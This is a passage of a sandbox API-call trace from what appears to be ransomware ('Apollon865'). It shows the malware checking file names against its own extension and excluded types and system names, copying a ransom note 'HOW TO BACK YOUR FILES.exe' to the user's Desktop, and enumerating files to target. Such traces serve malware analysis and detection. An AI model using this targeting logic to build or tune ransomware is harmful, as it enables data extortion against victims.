	[0040.652] lstrcmpiW (lpString1="EvLD.ppt", lpString2=".dll") returned 1
	[0040.652] lstrlenW (lpString=".lnk") returned 4
	[0040.652] lstrcmpiW (lpString1="EvLD.ppt", lpString2=".lnk") returned 1
	[0040.652] lstrlenW (lpString=".ini") returned 4
	[0040.652] lstrcmpiW (lpString1="EvLD.ppt", lpString2=".ini") returned 1
	[0040.652] lstrlenW (lpString=".sys") returned 4
	[0040.652] lstrcmpiW (lpString1="EvLD.ppt", lpString2=".sys") returned 1
	[0040.652] lstrlenW (lpString="EvLD.ppt") returned 8
	[0040.652] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="IPHfa_VxGBRr7hy17V.xlsx" | out: lpString1="IPHfa_VxGBRr7hy17V.xlsx") returned="IPHfa_VxGBRr7hy17V.xlsx"
	[0040.652] lstrlenW (lpString="IPHfa_VxGBRr7hy17V.xlsx") returned 23
	[0040.652] lstrlenW (lpString="Apollon865") returned 10
	[0040.653] lstrcmpiW (lpString1="hy17V.xlsx", lpString2="Apollon865") returned 1
	[0040.653] lstrlenW (lpString=".dll") returned 4
	[0040.653] lstrcmpiW (lpString1="IPHfa_VxGBRr7hy17V.xlsx", lpString2=".dll") returned 1
	[0040.653] lstrlenW (lpString=".lnk") returned 4
	[0040.653] lstrcmpiW (lpString1="IPHfa_VxGBRr7hy17V.xlsx", lpString2=".lnk") returned 1
	[0040.653] lstrlenW (lpString=".ini") returned 4
	[0040.653] lstrcmpiW (lpString1="IPHfa_VxGBRr7hy17V.xlsx", lpString2=".ini") returned 1
	[0040.653] lstrlenW (lpString=".sys") returned 4
	[0040.653] lstrcmpiW (lpString1="IPHfa_VxGBRr7hy17V.xlsx", lpString2=".sys") returned 1
	[0040.653] lstrlenW (lpString="IPHfa_VxGBRr7hy17V.xlsx") returned 23
	[0040.653] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="mn_6-8pRqR.pptx" | out: lpString1="mn_6-8pRqR.pptx") returned="mn_6-8pRqR.pptx"
	[0040.653] lstrlenW (lpString="mn_6-8pRqR.pptx") returned 15
	[0040.653] lstrlenW (lpString="Apollon865") returned 10
	[0040.653] lstrcmpiW (lpString1="8pRqR.pptx", lpString2="Apollon865") returned -1
	[0040.653] lstrlenW (lpString=".dll") returned 4
	[0040.653] lstrcmpiW (lpString1="mn_6-8pRqR.pptx", lpString2=".dll") returned 1
	[0040.653] lstrlenW (lpString=".lnk") returned 4
	[0040.653] lstrcmpiW (lpString1="mn_6-8pRqR.pptx", lpString2=".lnk") returned 1
	[0040.653] lstrlenW (lpString=".ini") returned 4
	[0040.653] lstrcmpiW (lpString1="mn_6-8pRqR.pptx", lpString2=".ini") returned 1
	[0040.653] lstrlenW (lpString=".sys") returned 4
	[0040.653] lstrcmpiW (lpString1="mn_6-8pRqR.pptx", lpString2=".sys") returned 1
	[0040.653] lstrlenW (lpString="mn_6-8pRqR.pptx") returned 15
	[0040.653] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="O6UuloWpJt8 HF.doc" | out: lpString1="O6UuloWpJt8 HF.doc") returned="O6UuloWpJt8 HF.doc"
	[0040.653] lstrlenW (lpString="O6UuloWpJt8 HF.doc") returned 18
	[0040.653] lstrlenW (lpString="Apollon865") returned 10
	[0040.653] lstrcmpiW (lpString1="Jt8 HF.doc", lpString2="Apollon865") returned 1
	[0040.653] lstrlenW (lpString=".dll") returned 4
	[0040.653] lstrcmpiW (lpString1="O6UuloWpJt8 HF.doc", lpString2=".dll") returned 1
	[0040.653] lstrlenW (lpString=".lnk") returned 4
	[0040.653] lstrcmpiW (lpString1="O6UuloWpJt8 HF.doc", lpString2=".lnk") returned 1
	[0040.653] lstrlenW (lpString=".ini") returned 4
	[0040.653] lstrcmpiW (lpString1="O6UuloWpJt8 HF.doc", lpString2=".ini") returned 1
	[0040.653] lstrlenW (lpString=".sys") returned 4
	[0040.654] lstrcmpiW (lpString1="O6UuloWpJt8 HF.doc", lpString2=".sys") returned 1
	[0040.654] lstrlenW (lpString="O6UuloWpJt8 HF.doc") returned 18
	[0040.654] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SfYLa9eakG3RrzIxLP7.pdf" | out: lpString1="SfYLa9eakG3RrzIxLP7.pdf") returned="SfYLa9eakG3RrzIxLP7.pdf"
	[0040.654] lstrlenW (lpString="SfYLa9eakG3RrzIxLP7.pdf") returned 23
	[0040.654] lstrlenW (lpString="Apollon865") returned 10
	[0040.654] lstrcmpiW (lpString1="zIxLP7.pdf", lpString2="Apollon865") returned 1
	[0040.654] lstrlenW (lpString=".dll") returned 4
	[0040.654] lstrcmpiW (lpString1="SfYLa9eakG3RrzIxLP7.pdf", lpString2=".dll") returned 1
	[0040.654] lstrlenW (lpString=".lnk") returned 4
	[0040.654] lstrcmpiW (lpString1="SfYLa9eakG3RrzIxLP7.pdf", lpString2=".lnk") returned 1
	[0040.654] lstrlenW (lpString=".ini") returned 4
	[0040.654] lstrcmpiW (lpString1="SfYLa9eakG3RrzIxLP7.pdf", lpString2=".ini") returned 1
	[0040.654] lstrlenW (lpString=".sys") returned 4
	[0040.654] lstrcmpiW (lpString1="SfYLa9eakG3RrzIxLP7.pdf", lpString2=".sys") returned 1
	[0040.654] lstrlenW (lpString="SfYLa9eakG3RrzIxLP7.pdf") returned 23
	[0040.654] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="VchzBFj6pV8.csv" | out: lpString1="VchzBFj6pV8.csv") returned="VchzBFj6pV8.csv"
	[0040.654] lstrlenW (lpString="VchzBFj6pV8.csv") returned 15
	[0040.654] lstrlenW (lpString="Apollon865") returned 10
	[0040.655] lstrcmpiW (lpString1="Fj6pV8.csv", lpString2="Apollon865") returned 1
	[0040.655] lstrlenW (lpString=".dll") returned 4
	[0040.656] lstrcmpiW (lpString1="VchzBFj6pV8.csv", lpString2=".dll") returned 1
	[0040.656] lstrlenW (lpString=".lnk") returned 4
	[0040.656] lstrcmpiW (lpString1="VchzBFj6pV8.csv", lpString2=".lnk") returned 1
	[0040.656] lstrlenW (lpString=".ini") returned 4
	[0040.656] lstrcmpiW (lpString1="VchzBFj6pV8.csv", lpString2=".ini") returned 1
	[0040.656] lstrlenW (lpString=".sys") returned 4
	[0040.656] lstrcmpiW (lpString1="VchzBFj6pV8.csv", lpString2=".sys") returned 1
	[0040.656] lstrlenW (lpString="VchzBFj6pV8.csv") returned 15
	[0040.656] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Y8GylhUH0MF0Wg.rtf" | out: lpString1="Y8GylhUH0MF0Wg.rtf") returned="Y8GylhUH0MF0Wg.rtf"
	[0040.656] lstrlenW (lpString="Y8GylhUH0MF0Wg.rtf") returned 18
	[0040.656] lstrlenW (lpString="Apollon865") returned 10
	[0040.656] lstrcmpiW (lpString1="0MF0Wg.rtf", lpString2="Apollon865") returned -1
	[0040.656] lstrlenW (lpString=".dll") returned 4
	[0040.656] lstrcmpiW (lpString1="Y8GylhUH0MF0Wg.rtf", lpString2=".dll") returned 1
	[0040.656] lstrlenW (lpString=".lnk") returned 4
	[0040.656] lstrcmpiW (lpString1="Y8GylhUH0MF0Wg.rtf", lpString2=".lnk") returned 1
	[0040.656] lstrlenW (lpString=".ini") returned 4
	[0040.656] lstrcmpiW (lpString1="Y8GylhUH0MF0Wg.rtf", lpString2=".ini") returned 1
	[0040.656] lstrlenW (lpString=".sys") returned 4
	[0040.656] lstrcmpiW (lpString1="Y8GylhUH0MF0Wg.rtf", lpString2=".sys") returned 1
	[0040.656] lstrlenW (lpString="Y8GylhUH0MF0Wg.rtf") returned 18
	[0040.656] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="yEr xpNTKcLj4bbU.ods" | out: lpString1="yEr xpNTKcLj4bbU.ods") returned="yEr xpNTKcLj4bbU.ods"
	[0040.656] lstrlenW (lpString="yEr xpNTKcLj4bbU.ods") returned 20
	[0040.656] lstrlenW (lpString="Apollon865") returned 10
	[0040.656] lstrcmpiW (lpString1="Lj4bbU.ods", lpString2="Apollon865") returned 1
	[0040.656] lstrlenW (lpString=".dll") returned 4
	[0040.656] lstrcmpiW (lpString1="yEr xpNTKcLj4bbU.ods", lpString2=".dll") returned 1
	[0040.656] lstrlenW (lpString=".lnk") returned 4
	[0040.656] lstrcmpiW (lpString1="yEr xpNTKcLj4bbU.ods", lpString2=".lnk") returned 1
	[0040.656] lstrlenW (lpString=".ini") returned 4
	[0040.656] lstrcmpiW (lpString1="yEr xpNTKcLj4bbU.ods", lpString2=".ini") returned 1
	[0040.656] lstrlenW (lpString=".sys") returned 4
	[0040.656] lstrcmpiW (lpString1="yEr xpNTKcLj4bbU.ods", lpString2=".sys") returned 1
	[0040.657] lstrlenW (lpString="yEr xpNTKcLj4bbU.ods") returned 20
	[0040.657] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="YQij.csv" | out: lpString1="YQij.csv") returned="YQij.csv"
	[0040.657] lstrlenW (lpString="YQij.csv") returned 8
	[0040.657] lstrlenW (lpString="Apollon865") returned 10
	[0040.657] lstrlenW (lpString=".dll") returned 4
	[0040.657] lstrcmpiW (lpString1="YQij.csv", lpString2=".dll") returned 1
	[0040.657] lstrlenW (lpString=".lnk") returned 4
	[0040.657] lstrcmpiW (lpString1="YQij.csv", lpString2=".lnk") returned 1
	[0040.657] lstrlenW (lpString=".ini") returned 4
	[0040.657] lstrcmpiW (lpString1="YQij.csv", lpString2=".ini") returned 1
	[0040.657] lstrlenW (lpString=".sys") returned 4
	[0040.657] lstrcmpiW (lpString1="YQij.csv", lpString2=".sys") returned 1
	[0040.657] lstrlenW (lpString="YQij.csv") returned 8
	[0040.657] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop"
	[0040.657] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca10 | out: hHeap=0x580000) returned 1
	[0040.657] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0040.657] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37
	[0040.657] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop"
	[0040.657] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.657] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.663] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3058b8b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3058b8b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0040.663] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.663] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.663] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.663] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3058b8b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3058b8b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.663] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.663] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.663] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.663] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.663] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x429868b0, ftCreationTime.dwHighDateTime=0x1d4cf43, ftLastAccessTime.dwLowDateTime=0xc2e46440, ftLastAccessTime.dwHighDateTime=0x1d4c653, ftLastWriteTime.dwLowDateTime=0xc2e46440, ftLastWriteTime.dwHighDateTime=0x1d4c653, nFileSizeHigh=0x0, nFileSizeLow=0x11668, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1 9m3tlfn5o.pps", cAlternateFileName="19M3TL~1.PPS")) returned 1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="Apollon865.txt.exe") returned -1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2=".") returned 1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="..") returned 1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="windows") returned -1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="bootmgr") returned -1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="temp") returned -1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="pagefile.sys") returned -1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="boot") returned -1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="ids.txt") returned -1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="ntuser.dat") returned -1
	[0040.663] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="perflogs") returned -1
	[0040.664] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2="MSBuild") returned -1
	[0040.664] lstrlenW (lpString="1 9m3tlfn5o.pps") returned 15
	[0040.664] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*") returned 39
	[0040.664] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="1 9m3tlfn5o.pps" | out: lpString1="1 9m3tlfn5o.pps") returned="1 9m3tlfn5o.pps"
	[0040.664] lstrlenW (lpString="1 9m3tlfn5o.pps") returned 15
	[0040.664] lstrlenW (lpString="Apollon865") returned 10
	[0040.664] lstrcmpiW (lpString1="tlfn5o.pps", lpString2="Apollon865") returned 1
	[0040.664] lstrlenW (lpString=".dll") returned 4
	[0040.664] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2=".dll") returned 1
	[0040.664] lstrlenW (lpString=".lnk") returned 4
	[0040.664] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2=".lnk") returned 1
	[0040.664] lstrlenW (lpString=".ini") returned 4
	[0040.664] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2=".ini") returned 1
	[0040.664] lstrlenW (lpString=".sys") returned 4
	[0040.664] lstrcmpiW (lpString1="1 9m3tlfn5o.pps", lpString2=".sys") returned 1
	[0040.664] lstrlenW (lpString="1 9m3tlfn5o.pps") returned 15
	[0040.664] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="2jHX5DYToM37O.jpg" | out: lpString1="2jHX5DYToM37O.jpg") returned="2jHX5DYToM37O.jpg"
	[0040.664] lstrlenW (lpString="2jHX5DYToM37O.jpg") returned 17
	[0040.664] lstrlenW (lpString="Apollon865") returned 10
	[0040.664] lstrcmpiW (lpString1="ToM37O.jpg", lpString2="Apollon865") returned 1
	[0040.664] lstrlenW (lpString=".dll") returned 4
	[0040.664] lstrcmpiW (lpString1="2jHX5DYToM37O.jpg", lpString2=".dll") returned 1
	[0040.664] lstrlenW (lpString=".lnk") returned 4
	[0040.664] lstrcmpiW (lpString1="2jHX5DYToM37O.jpg", lpString2=".lnk") returned 1
	[0040.664] lstrlenW (lpString=".ini") returned 4
	[0040.664] lstrcmpiW (lpString1="2jHX5DYToM37O.jpg", lpString2=".ini") returned 1
	[0040.664] lstrlenW (lpString=".sys") returned 4
	[0040.664] lstrcmpiW (lpString1="2jHX5DYToM37O.jpg", lpString2=".sys") returned 1
	[0040.664] lstrlenW (lpString="2jHX5DYToM37O.jpg") returned 17
	[0040.664] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="35i906T1_C evRjC6vrh.wav" | out: lpString1="35i906T1_C evRjC6vrh.wav") returned="35i906T1_C evRjC6vrh.wav"
	[0040.664] lstrlenW (lpString="35i906T1_C evRjC6vrh.wav") returned 24
	[0040.664] lstrlenW (lpString="Apollon865") returned 10
	[0040.664] lstrcmpiW (lpString1="jC6vrh.wav", lpString2="Apollon865") returned 1
	[0040.664] lstrlenW (lpString=".dll") returned 4
	[0040.664] lstrcmpiW (lpString1="35i906T1_C evRjC6vrh.wav", lpString2=".dll") returned 1
	[0040.665] lstrlenW (lpString=".lnk") returned 4
	[0040.665] lstrcmpiW (lpString1="35i906T1_C evRjC6vrh.wav", lpString2=".lnk") returned 1
	[0040.665] lstrlenW (lpString=".ini") returned 4
	[0040.665] lstrcmpiW (lpString1="35i906T1_C evRjC6vrh.wav", lpString2=".ini") returned 1
	[0040.665] lstrlenW (lpString=".sys") returned 4
	[0040.665] lstrcmpiW (lpString1="35i906T1_C evRjC6vrh.wav", lpString2=".sys") returned 1
	[0040.665] lstrlenW (lpString="35i906T1_C evRjC6vrh.wav") returned 24
	[0040.665] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="79DU.m4a" | out: lpString1="79DU.m4a") returned="79DU.m4a"
	[0040.665] lstrlenW (lpString="79DU.m4a") returned 8
	[0040.665] lstrlenW (lpString="Apollon865") returned 10
	[0040.665] lstrlenW (lpString=".dll") returned 4
	[0040.665] lstrcmpiW (lpString1="79DU.m4a", lpString2=".dll") returned 1
	[0040.665] lstrlenW (lpString=".lnk") returned 4
	[0040.665] lstrcmpiW (lpString1="79DU.m4a", lpString2=".lnk") returned 1
	[0040.665] lstrlenW (lpString=".ini") returned 4
	[0040.665] lstrcmpiW (lpString1="79DU.m4a", lpString2=".ini") returned 1
	[0040.665] lstrlenW (lpString=".sys") returned 4
	[0040.665] lstrcmpiW (lpString1="79DU.m4a", lpString2=".sys") returned 1
	[0040.665] lstrlenW (lpString="79DU.m4a") returned 8
	[0040.665] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="8Fh7hy55YmD.avi" | out: lpString1="8Fh7hy55YmD.avi") returned="8Fh7hy55YmD.avi"
	[0040.665] lstrlenW (lpString="8Fh7hy55YmD.avi") returned 15
	[0040.665] lstrlenW (lpString="Apollon865") returned 10
	[0040.665] lstrcmpiW (lpString1="y55YmD.avi", lpString2="Apollon865") returned 1
	[0040.665] lstrlenW (lpString=".dll") returned 4
	[0040.665] lstrcmpiW (lpString1="8Fh7hy55YmD.avi", lpString2=".dll") returned 1
	[0040.665] lstrlenW (lpString=".lnk") returned 4
	[0040.665] lstrcmpiW (lpString1="8Fh7hy55YmD.avi", lpString2=".lnk") returned 1
	[0040.665] lstrlenW (lpString=".ini") returned 4
	[0040.665] lstrcmpiW (lpString1="8Fh7hy55YmD.avi", lpString2=".ini") returned 1
	[0040.665] lstrlenW (lpString=".sys") returned 4
	[0040.665] lstrcmpiW (lpString1="8Fh7hy55YmD.avi", lpString2=".sys") returned 1
	[0040.665] lstrlenW (lpString="8Fh7hy55YmD.avi") returned 15
	[0040.665] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Cpc8aYIDpYxy.m4a" | out: lpString1="Cpc8aYIDpYxy.m4a") returned="Cpc8aYIDpYxy.m4a"
	[0040.666] lstrlenW (lpString="Cpc8aYIDpYxy.m4a") returned 16
	[0040.666] lstrlenW (lpString="Apollon865") returned 10
	[0040.666] lstrcmpiW (lpString1="IDpYxy.m4a", lpString2="Apollon865") returned 1
	[0040.666] lstrlenW (lpString=".dll") returned 4
	[0040.666] lstrcmpiW (lpString1="Cpc8aYIDpYxy.m4a", lpString2=".dll") returned 1
	[0040.666] lstrlenW (lpString=".lnk") returned 4
	[0040.666] lstrcmpiW (lpString1="Cpc8aYIDpYxy.m4a", lpString2=".lnk") returned 1
	[0040.666] lstrlenW (lpString=".ini") returned 4
	[0040.666] lstrcmpiW (lpString1="Cpc8aYIDpYxy.m4a", lpString2=".ini") returned 1
	[0040.666] lstrlenW (lpString=".sys") returned 4
	[0040.666] lstrcmpiW (lpString1="Cpc8aYIDpYxy.m4a", lpString2=".sys") returned 1
	[0040.666] lstrlenW (lpString="Cpc8aYIDpYxy.m4a") returned 16
	[0040.666] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0040.666] lstrlenW (lpString="desktop.ini") returned 11
	[0040.666] lstrlenW (lpString="Apollon865") returned 10
	[0040.666] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0040.666] lstrlenW (lpString=".dll") returned 4
	[0040.666] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0040.666] lstrlenW (lpString=".lnk") returned 4
	[0040.666] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0040.666] lstrlenW (lpString=".ini") returned 4
	[0040.666] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0040.666] lstrlenW (lpString=".sys") returned 4
	[0040.666] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0040.666] lstrlenW (lpString="desktop.ini") returned 11
	[0040.666] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="dk9fL7wI2rWd9.wav" | out: lpString1="dk9fL7wI2rWd9.wav") returned="dk9fL7wI2rWd9.wav"
	[0040.666] lstrlenW (lpString="dk9fL7wI2rWd9.wav") returned 17
	[0040.666] lstrlenW (lpString="Apollon865") returned 10
	[0040.666] lstrcmpiW (lpString1="I2rWd9.wav", lpString2="Apollon865") returned 1
	[0040.666] lstrlenW (lpString=".dll") returned 4
	[0040.666] lstrcmpiW (lpString1="dk9fL7wI2rWd9.wav", lpString2=".dll") returned 1
	[0040.666] lstrlenW (lpString=".lnk") returned 4
	[0040.666] lstrcmpiW (lpString1="dk9fL7wI2rWd9.wav", lpString2=".lnk") returned 1
	[0040.666] lstrlenW (lpString=".ini") returned 4
	[0040.666] lstrcmpiW (lpString1="dk9fL7wI2rWd9.wav", lpString2=".ini") returned 1
	[0040.667] lstrlenW (lpString=".sys") returned 4
	[0040.667] lstrcmpiW (lpString1="dk9fL7wI2rWd9.wav", lpString2=".sys") returned 1
	[0040.667] lstrlenW (lpString="dk9fL7wI2rWd9.wav") returned 17
	[0040.667] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="dpYC.wav" | out: lpString1="dpYC.wav") returned="dpYC.wav"
	[0040.667] lstrlenW (lpString="dpYC.wav") returned 8
	[0040.667] lstrlenW (lpString="Apollon865") returned 10
	[0040.667] lstrlenW (lpString=".dll") returned 4
	[0040.667] lstrcmpiW (lpString1="dpYC.wav", lpString2=".dll") returned 1
	[0040.667] lstrlenW (lpString=".lnk") returned 4
	[0040.667] lstrcmpiW (lpString1="dpYC.wav", lpString2=".lnk") returned 1
	[0040.667] lstrlenW (lpString=".ini") returned 4
	[0040.667] lstrcmpiW (lpString1="dpYC.wav", lpString2=".ini") returned 1
	[0040.667] lstrlenW (lpString=".sys") returned 4
	[0040.667] lstrcmpiW (lpString1="dpYC.wav", lpString2=".sys") returned 1
	[0040.667] lstrlenW (lpString="dpYC.wav") returned 8
	[0040.667] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="elH avp078d0Y6OX.pps" | out: lpString1="elH avp078d0Y6OX.pps") returned="elH avp078d0Y6OX.pps"
	[0040.667] lstrlenW (lpString="elH avp078d0Y6OX.pps") returned 20
	[0040.667] lstrlenW (lpString="Apollon865") returned 10
	[0040.667] lstrcmpiW (lpString1="d0Y6OX.pps", lpString2="Apollon865") returned 1
	[0040.667] lstrlenW (lpString=".dll") returned 4
	[0040.667] lstrcmpiW (lpString1="elH avp078d0Y6OX.pps", lpString2=".dll") returned 1
	[0040.667] lstrlenW (lpString=".lnk") returned 4
	[0040.667] lstrcmpiW (lpString1="elH avp078d0Y6OX.pps", lpString2=".lnk") returned 1
	[0040.667] lstrlenW (lpString=".ini") returned 4
	[0040.667] lstrcmpiW (lpString1="elH avp078d0Y6OX.pps", lpString2=".ini") returned 1
	[0040.667] lstrlenW (lpString=".sys") returned 4
	[0040.667] lstrcmpiW (lpString1="elH avp078d0Y6OX.pps", lpString2=".sys") returned 1
	[0040.667] lstrlenW (lpString="elH avp078d0Y6OX.pps") returned 20
	[0040.667] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="EN5JdWGiw1Vxh9cq.m4a" | out: lpString1="EN5JdWGiw1Vxh9cq.m4a") returned="EN5JdWGiw1Vxh9cq.m4a"
	[0040.667] lstrlenW (lpString="EN5JdWGiw1Vxh9cq.m4a") returned 20
	[0040.667] lstrlenW (lpString="Apollon865") returned 10
	[0040.667] lstrcmpiW (lpString1="Vxh9cq.m4a", lpString2="Apollon865") returned 1
	[0040.667] lstrlenW (lpString=".dll") returned 4
	[0040.667] lstrcmpiW (lpString1="EN5JdWGiw1Vxh9cq.m4a", lpString2=".dll") returned 1
	[0040.668] lstrlenW (lpString=".lnk") returned 4
	[0040.668] lstrcmpiW (lpString1="EN5JdWGiw1Vxh9cq.m4a", lpString2=".lnk") returned 1
	[0040.668] lstrlenW (lpString=".ini") returned 4
	[0040.668] lstrcmpiW (lpString1="EN5JdWGiw1Vxh9cq.m4a", lpString2=".ini") returned 1
	[0040.668] lstrlenW (lpString=".sys") returned 4
	[0040.668] lstrcmpiW (lpString1="EN5JdWGiw1Vxh9cq.m4a", lpString2=".sys") returned 1
	[0040.668] lstrlenW (lpString="EN5JdWGiw1Vxh9cq.m4a") returned 20
	[0040.668] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="IQHIfV.bmp" | out: lpString1="IQHIfV.bmp") returned="IQHIfV.bmp"
	[0040.668] lstrlenW (lpString="IQHIfV.bmp") returned 10
	[0040.668] lstrlenW (lpString="Apollon865") returned 10
	[0040.668] lstrlenW (lpString=".dll") returned 4
	[0040.668] lstrcmpiW (lpString1="IQHIfV.bmp", lpString2=".dll") returned 1
	[0040.668] lstrlenW (lpString=".lnk") returned 4
	[0040.668] lstrcmpiW (lpString1="IQHIfV.bmp", lpString2=".lnk") returned 1
	[0040.668] lstrlenW (lpString=".ini") returned 4
	[0040.668] lstrcmpiW (lpString1="IQHIfV.bmp", lpString2=".ini") returned 1
	[0040.668] lstrlenW (lpString=".sys") returned 4
	[0040.668] lstrcmpiW (lpString1="IQHIfV.bmp", lpString2=".sys") returned 1
	[0040.668] lstrlenW (lpString="IQHIfV.bmp") returned 10
	[0040.668] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="j42a1U1.png" | out: lpString1="j42a1U1.png") returned="j42a1U1.png"
	[0040.668] lstrlenW (lpString="j42a1U1.png") returned 11
	[0040.668] lstrlenW (lpString="Apollon865") returned 10
	[0040.668] lstrcmpiW (lpString1="42a1U1.png", lpString2="Apollon865") returned -1
	[0040.668] lstrlenW (lpString=".dll") returned 4
	[0040.668] lstrcmpiW (lpString1="j42a1U1.png", lpString2=".dll") returned 1
	[0040.668] lstrlenW (lpString=".lnk") returned 4
	[0040.668] lstrcmpiW (lpString1="j42a1U1.png", lpString2=".lnk") returned 1
	[0040.668] lstrlenW (lpString=".ini") returned 4
	[0040.668] lstrcmpiW (lpString1="j42a1U1.png", lpString2=".ini") returned 1
	[0040.668] lstrlenW (lpString=".sys") returned 4
	[0040.668] lstrcmpiW (lpString1="j42a1U1.png", lpString2=".sys") returned 1
	[0040.668] lstrlenW (lpString="j42a1U1.png") returned 11
	[0040.668] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="kdgx-OCiYW1g-lH5QqGH.png" | out: lpString1="kdgx-OCiYW1g-lH5QqGH.png") returned="kdgx-OCiYW1g-lH5QqGH.png"
	[0040.669] lstrlenW (lpString="kdgx-OCiYW1g-lH5QqGH.png") returned 24
	[0040.669] lstrlenW (lpString="Apollon865") returned 10
	[0040.669] lstrcmpiW (lpString1="H5QqGH.png", lpString2="Apollon865") returned 1
	[0040.669] lstrlenW (lpString=".dll") returned 4
